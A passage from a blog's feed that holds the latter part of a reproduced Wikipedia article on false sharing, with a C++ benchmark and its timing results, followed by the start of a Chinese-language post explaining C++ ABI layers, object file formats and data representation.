target=&quot;_blank&quot; title=&quot;Data structure alignment&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Data_structure_alignment&quot;&gt;aligned&lt;&#x2F;a&gt;, contiguous &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Byte&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Byte&quot;&gt;bytes&lt;&#x2F;a&gt;). If two processors operate on independent data in the same &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Memory address&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Memory_address&quot;&gt;memory address&lt;&#x2F;a&gt; region storable in a single line, the cache coherency mechanisms in the system may force the whole line across the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Bus_(computing)&quot;&gt;bus&lt;&#x2F;a&gt; &quot;Bus (computing)&quot;) or interconnect with every data write, forcing memory stalls in addition to wasting system &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Bandwidth_(computing)&quot;&gt;bandwidth&lt;&#x2F;a&gt; &quot;Bandwidth (computing)&quot;). In some cases, the elimination of false sharing can result in order-of-magnitude performance improvements.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-Bolosky-2&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; False sharing is an inherent artifact of automatically synchronized cache protocols and can also exist in environments such as distributed file systems or databases, but current prevalence is limited to RAM caches.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example&quot;&gt;Example&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;new&amp;gt;
#include &amp;lt;atomic&amp;gt;
#include &amp;lt;chrono&amp;gt;
#include &amp;lt;latch&amp;gt;
#include &amp;lt;vector&amp;gt;

using namespace std;
using namespace chrono;

#if defined(__cpp_lib_hardware_interference_size)
&amp;#x2F;&amp;#x2F; default cacheline size from runtime
constexpr size_t CL_SIZE = hardware_constructive_interference_size;
#else
&amp;#x2F;&amp;#x2F; most common cacheline size otherwise
constexpr size_t CL_SIZE = 64;
#endif

int main()
{
    vector&amp;lt;jthread&amp;gt; threads;
    int hc = jthread::hardware_concurrency();
    hc = hc &amp;lt;= CL_SIZE ? hc : CL_SIZE;
    for( int nThreads = 1; nThreads &amp;lt;= hc; ++nThreads )
    {
        &amp;#x2F;&amp;#x2F; synchronize beginning of threads coarse on kernel level
        latch coarseSync( nThreads );
        &amp;#x2F;&amp;#x2F; fine synch via atomic in userspace
        atomic_uint fineSync( nThreads );
        &amp;#x2F;&amp;#x2F; as much chars as would fit into a cacheline
        struct alignas(CL_SIZE) { char shareds[CL_SIZE]; } cacheLine;
        &amp;#x2F;&amp;#x2F; sum of all threads execution times
        atomic_int64_t nsSum( 0 );
        for( int t = 0; t != nThreads; ++t )
            threads.emplace_back(
                [&amp;amp;]( char volatile &amp;amp;c )
                {
                    coarseSync.arrive_and_wait(); &amp;#x2F;&amp;#x2F; synch beginning of thread execution on kernel-level
                    if( fineSync.fetch_sub( 1, memory_order::relaxed ) != 1 ) &amp;#x2F;&amp;#x2F; fine-synch on user-level
                        while( fineSync.load( memory_order::relaxed ) );
                    auto start = high_resolution_clock::now();
                    for( size_t r = 10&amp;#x27;000&amp;#x27;000; r--; )
                        c = c + 1;
                    nsSum += duration_cast&amp;lt;nanoseconds&amp;gt;( high_resolution_clock::now() - start ).count();
                }, ref( cacheLine.shareds[t] ) );
        threads.resize( 0 ); &amp;#x2F;&amp;#x2F; join all threads
        cout &amp;lt;&amp;lt; nThreads &amp;lt;&amp;lt; &amp;quot;: &amp;quot; &amp;lt;&amp;lt; (int)(nsSum &amp;#x2F; (1.0e7 * nThreads) + 0.5) &amp;lt;&amp;lt; endl;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This code shows the effect of false sharing. It creates an increasing number of threads from one thread to the number of physical threads in the system. Each thread sequentially increments one byte of a cache line, which as a whole is shared among all threads. The higher the level of contention between threads, the longer each increment takes. This are the results on a Zen4 system with 16 cores and 32 threads:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1: 1
2: 4
3: 6
4: 9
5: 11
6: 13
7: 15
8: 17
9: 16
10: 18
11: 21
12: 25
13: 29
14: 35
15: 39
16: 41
17: 43
18: 44
19: 48
20: 49
21: 51
22: 53
23: 58
24: 61
25: 68
26: 75
27: 79
28: 82
29: 85
30: 88
31: 91
32: 94
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see, on the system in question it can take up to a 100 nanoseconds to complete an increment operation on the shared cache line, which corresponds to approx. 420 clock cycles on this CPU.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;&#x2F;h2&gt;
&lt;p&gt;There are ways of mitigating the effects of false sharing. For instance, false sharing in CPU caches can be prevented by reordering variables or adding &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Data structure alignment&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Data_structure_alignment#Data_structure_padding&quot;&gt;padding&lt;&#x2F;a&gt; (unused bytes) between variables. However, some of these program changes may increase the size of the objects, leading to higher memory use.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-Bolosky-2&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; Compile-time data transformations can also mitigate false-sharing.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-Jeremiassen_Eggers_1995_pp._179%E2%80%93188-3&quot;&gt;[3]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; However, some of these transformations may not always be allowed. For instance, the C++ programming language standard draft of C++23 mandates that data members must be laid out so that later members have higher addresses.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-4&quot;&gt;[4]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;There are tools for detecting false sharing.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-5&quot;&gt;[5]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-6&quot;&gt;[6]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; There are also systems that both detect and repair false sharing in executing programs. However, these systems incur some execution overhead.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-7&quot;&gt;[7]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-8&quot;&gt;[8]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-Patterson_2012_p._537_1-0&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; Patterson, David (2012). &lt;em&gt;Computer organization and design: the hardware&#x2F;software interface&lt;&#x2F;em&gt;. Waltham, MA: Morgan Kaufmann. p. 537. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ISBN_(identifier)&quot;&gt;ISBN&lt;&#x2F;a&gt; &quot;ISBN (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Special:BookSources&#x2F;978-0-12-374750-1&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Special:BookSources&#x2F;978-0-12-374750-1&quot;&gt;978-0-12-374750-1&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;OCLC_(identifier)&quot;&gt;OCLC&lt;&#x2F;a&gt; &quot;OCLC (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.worldcat.org&#x2F;oclc&#x2F;746618653&quot;&gt;746618653&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;^&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-Bolosky_2-0&quot;&gt;Jump up to:&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  &lt;em&gt;&lt;em&gt;&lt;strong&gt;&lt;sup&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-Bolosky_2-0&quot;&gt;a&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;em&gt;&lt;strong&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;  ********  &lt;em&gt;&lt;em&gt;&lt;strong&gt;&lt;sup&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-Bolosky_2-1&quot;&gt;b&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;***&lt;&#x2F;sup&gt;***&lt;strong&gt;&lt;strong&gt;Bolosky, William J.; Scott, Michael L. (1993-09-22).&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  &lt;strong&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.usenix.org&#x2F;legacy&#x2F;publications&#x2F;library&#x2F;proceedings&#x2F;sedms4&#x2F;full_papers&#x2F;bolosky.txt&quot;&gt;&quot;False sharing and its effect on shared memory performance&quot;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;.&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  &lt;em&gt;&lt;strong&gt;&lt;strong&gt;Sedms&#x27;93: USENIX Systems on USENIX Experiences with Distributed and Multiprocessor Systems&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;strong&gt;&lt;strong&gt;.&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  &lt;strong&gt;4. Retrieved&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;11 July&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;2021&lt;&#x2F;strong&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-Jeremiassen_Eggers_1995_pp._179%E2%80%93188_3-0&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; Jeremiassen, Tor E.; Eggers, Susan J. (1995). &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1145%2F209937.209955&quot;&gt;&quot;Reducing false sharing on shared memory multiprocessors through compile time data transformations&quot;&lt;&#x2F;a&gt;. &lt;em&gt;ACM SIGPLAN Notices&lt;&#x2F;em&gt;. &lt;strong&gt;30&lt;&#x2F;strong&gt; (8). Association for Computing Machinery (ACM): 179–188. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Doi_(identifier)&quot;&gt;doi&lt;&#x2F;a&gt; &quot;Doi (identifier)&quot;):&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1145%2F209937.209955&quot;&gt;10.1145&#x2F;209937.209955&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ISSN_(identifier)&quot;&gt;ISSN&lt;&#x2F;a&gt; &quot;ISSN (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.worldcat.org&#x2F;issn&#x2F;0362-1340&quot;&gt;0362-1340&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-4&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;[&quot;Working Draft, Standard for Programming Language C++ &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eel.is&#x2F;c++draft&#x2F;class&quot;&gt;class]&quot;&lt;&#x2F;a&gt;. &lt;em&gt;eel.is&lt;&#x2F;em&gt;**. Retrieved**2021-07-11.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-5&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;perf-c2c.1.html&quot;&gt;&quot;perf-c2c(1)&quot;&lt;&#x2F;a&gt;. &lt;em&gt;Linux manual page&lt;&#x2F;em&gt;. 2016-09-01**. Retrieved**2021-08-08.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-6&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; Chabbi, Milind; Wen, Shasha; Liu, Xu (2018-02-10). &quot;Featherlight on-the-fly false-sharing detection&quot;. &lt;em&gt;Proceedings of the 23rd ACM SIGPLAN Symposium on Principles and Practice of Parallel Programming&lt;&#x2F;em&gt;. New York, NY, USA: ACM. pp. 152–167. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Doi_(identifier)&quot;&gt;doi&lt;&#x2F;a&gt; &quot;Doi (identifier)&quot;):&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1145%2F3178487.3178499&quot;&gt;10.1145&#x2F;3178487.3178499&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ISBN_(identifier)&quot;&gt;ISBN&lt;&#x2F;a&gt; &quot;ISBN (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Special:BookSources&#x2F;9781450349826&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Special:BookSources&#x2F;9781450349826&quot;&gt;9781450349826&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-7&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; Nanavati, Mihir; Spear, Mark; Taylor, Nathan; Rajagopalan, Shriram; Meyer, Dutch T.; Aiello, William; Warfield, Andrew (2013). &quot;Whose cache line is it anyway?&quot;. &lt;em&gt;Proceedings of the 8th ACM European Conference on Computer Systems&lt;&#x2F;em&gt;. New York, New York, USA: ACM Press. pp. 141–154. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Doi_(identifier)&quot;&gt;doi&lt;&#x2F;a&gt; &quot;Doi (identifier)&quot;):&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1145%2F2465351.2465366&quot;&gt;10.1145&#x2F;2465351.2465366&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ISBN_(identifier)&quot;&gt;ISBN&lt;&#x2F;a&gt; &quot;ISBN (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Special:BookSources&#x2F;9781450319942&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Special:BookSources&#x2F;9781450319942&quot;&gt;9781450319942&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Jump up&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_ref-8&quot;&gt;^&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; Liu, Tongping; Berger, Emery D. (2011-10-18). &quot;SHERIFF: precise detection and automatic mitigation of false sharing&quot;. &lt;em&gt;ACM SIGPLAN Notices&lt;&#x2F;em&gt;. &lt;strong&gt;46&lt;&#x2F;strong&gt; (10). Association for Computing Machinery (ACM): 3–18. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Doi_(identifier)&quot;&gt;doi&lt;&#x2F;a&gt; &quot;Doi (identifier)&quot;):&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1145%2F2076021.2048070&quot;&gt;10.1145&#x2F;2076021.2048070&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ISSN_(identifier)&quot;&gt;ISSN&lt;&#x2F;a&gt; &quot;ISSN (identifier)&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.worldcat.org&#x2F;issn&#x2F;0362-1340&quot;&gt;0362-1340&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;external-links&quot;&gt;External links&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;parallelcomputing2017.wordpress.com&#x2F;2017&#x2F;03&#x2F;17&#x2F;understanding-false-sharing&#x2F;&quot;&gt;Easy Understanding on False Sharing&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;cpp-today.blogspot.com&#x2F;2008&#x2F;05&#x2F;false-sharing-hits-again.html&quot;&gt;C++ today blog, False Sharing hits again!&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.drdobbs.com&#x2F;parallel&#x2F;eliminate-false-sharing&#x2F;217500206&quot;&gt;Dr Dobbs article: Eliminate False Sharing&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;psy-lob-saw.blogspot.sg&#x2F;2013&#x2F;05&#x2F;know-thy-java-object-memory-layout.html&quot;&gt;Be careful when trying to eliminate false sharing in Java&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>彻底理解 C++ ABI</title>
        <published>2024-04-17T00:00:00+00:00</published>
        <updated>2024-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/彻底理解-c-abi/"/>
        <id>https://vercel.juzhong.asia/obsidian/彻底理解-c-abi/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/彻底理解-c-abi/">&lt;h1 id=&quot;che-di-li-jie-c-abi&quot;&gt;彻底理解 C++ ABI&lt;&#x2F;h1&gt;
&lt;p&gt;Application Binary Interface 也就是我们常说的 ABI，是个让人感觉到既熟悉又陌生的概念。熟悉在哪里？讨论问题的时候经常会讨论到它，看文章的时候经常会提到它，有时候又要处理它导致的兼容性。陌生在哪里？如果有人问你什么是 ABI，你会发现你知道它是怎么一回事，但是要用严谨的语言去描述它有些困难。最后只好照着 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Application_binary_interface&quot;&gt;WIKI&lt;&#x2F;a&gt; 说：ABI 就是两个二进制程序模块之间的接口。有问题吗？没有问题，作为一个概括性的描述，已经足够了。但是让人感觉到有些空洞。&lt;&#x2F;p&gt;
&lt;p&gt;这一情况在 CS 领域并不少见，笔者之前写的讨论 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;669358870&quot;&gt;反射&lt;&#x2F;a&gt; 的文章也遇到完全相同的情况。究其根本，CS 本来就不是一门力求严谨性的学科，很多概念都没有严格的定义，更多的是约定俗成的说法。所以我们就不去纠结定义，而是就实际出发，来看看这些所谓的二进制接口究竟有哪些，又有哪些因素会影响它们的稳定性。&lt;&#x2F;p&gt;
&lt;p&gt;软件工程讲究分层，对于一个 C++ 程序的 ABI 来说，我们也可以从下面这五个层次来看待。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cpu-os&quot;&gt;CPU &amp;amp; OS&lt;&#x2F;h2&gt;
&lt;p&gt;最终的可执行文件最后都是要运行在特定 CPU 上的特定操作系统的。如果 CPU 的指令集不同，那肯定会导致二进制不兼容，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ARM_architecture_family&quot;&gt;ARM&lt;&#x2F;a&gt; 上的程序没法&lt;strong&gt;直接&lt;&#x2F;strong&gt;运行在 x64 处理器上（除非借助一些虚拟化技术）。如果指令集兼容呢？比如 x64 处理器就兼容 x86 的指令集，那 x86 程序一定能运行在 x64 操作系统上吗？这时候就要看操作系统了，具体来说，要考虑到 Object File Format（目标文件格式），Data Representation（数据表示）， Function Calling Convention（函数调用约定）和 Runtime Library（运行时库）等因素。这几点就可以看做是操作系统层面的 ABI 规定。第四点我们后面有专门的一节来讨论，下面以 x64 平台为例，就前三点进行讨论。&lt;&#x2F;p&gt;
&lt;p&gt;x64 平台上主要有两套常用的 ABI：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用于 64 位 Windows 操作系统上的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;cpp&#x2F;build&#x2F;x64-software-conventions%3Fview%3Dmsvc-170&quot;&gt;Windows x64 ABI&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;用于 64 位 Linux 以及一众 UNIX-like 的操作系统上的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gitlab.com&#x2F;x86-psABIs&#x2F;x86-64-ABI&quot;&gt;x86-64 System V ABI&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;x64, x86-64, x86_64, AMD64 和 Intel 64 都是指一个 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;X86-64&quot;&gt;东西&lt;&#x2F;a&gt;，即 x86 指令集的 64 位版本。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;而从一个动态库里面调用某个函数可以简单的看成下面这个三个步骤：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;按照某种格式解析动态库&lt;&#x2F;li&gt;
&lt;li&gt;根据符号名从解析结果中查找函数地址&lt;&#x2F;li&gt;
&lt;li&gt;函数参数传递，调用函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;object-file-format&quot;&gt;Object File Format&lt;&#x2F;h3&gt;
&lt;p&gt;以何种格式解析动态库？这就是 ABI 中对 Object File Format 的规定起作用的地方了。如果你希望自己写一个链接器，那么最后生成的可执行文件就需要满足对应平台的格式要求。Windows x64 使用的可执行文件格式是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;debug&#x2F;pe-format&quot;&gt;PE32+&lt;&#x2F;a&gt; ，也就是 PE32（Portable Executable 32-bit）格式的&lt;code&gt;64&lt;&#x2F;code&gt;位版本。System V ABI 使用的则是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Executable_and_Linkable_Format&quot;&gt;ELF（Extensible Linking Format）&lt;&#x2F;a&gt; 格式的可执行文件。通过使用一些 parse 库（当然感兴趣的话也可以自己写），例如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;trailofbits&#x2F;pe-parse&quot;&gt;pe-parse&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;serge1&#x2F;ELFIO&quot;&gt;elfio&lt;&#x2F;a&gt;，对实际的可执行文件进行解析，得到其中的符号表，我们便能拿到函数名与函数地址的映射关系了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;data-representation&quot;&gt;Data Representation&lt;&#x2F;h3&gt;
&lt;p&gt;拿到函数地址之后，接下来就是怎么进行调用了。在调用之前，首先得传参对吧。那传参的时候就特别要注意 Data Representation（数据表示）表示的一致性，什么意思呢？&lt;&#x2F;p&gt;
&lt;p&gt;假设我把下面这个文件编译成动态库&lt;&#x2F;p&gt;
